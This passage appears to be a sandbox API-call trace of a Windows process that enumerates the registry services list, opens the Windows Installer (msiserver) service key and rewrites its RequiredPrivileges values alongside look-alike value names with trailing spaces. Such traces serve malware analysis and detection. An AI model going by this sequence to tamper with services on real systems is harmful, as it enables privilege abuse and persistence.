RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0243.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0243.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0243.148] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0243.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0243.150] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0243.151] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0243.152] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0243.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0243.185] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0243.185] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0243.185] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0243.185] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0243.185] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0243.185] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0243.185] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0243.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0243.185] RegCloseKey (hKey=0x150) returned 0x0 [0243.186] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0243.186] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0243.186] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0243.186] RegCloseKey (hKey=0x80000002) returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0243.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0243.187] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0243.187] RegCloseKey (hKey=0xc4) returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0243.187] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0243.187] RegCloseKey (hKey=0x150) returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0243.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0243.188] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0243.188] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0243.188] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0243.188] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0243.188] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0243.188] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0243.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.189] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.190] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.190] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0243.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0243.190] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0243.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0243.190] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, 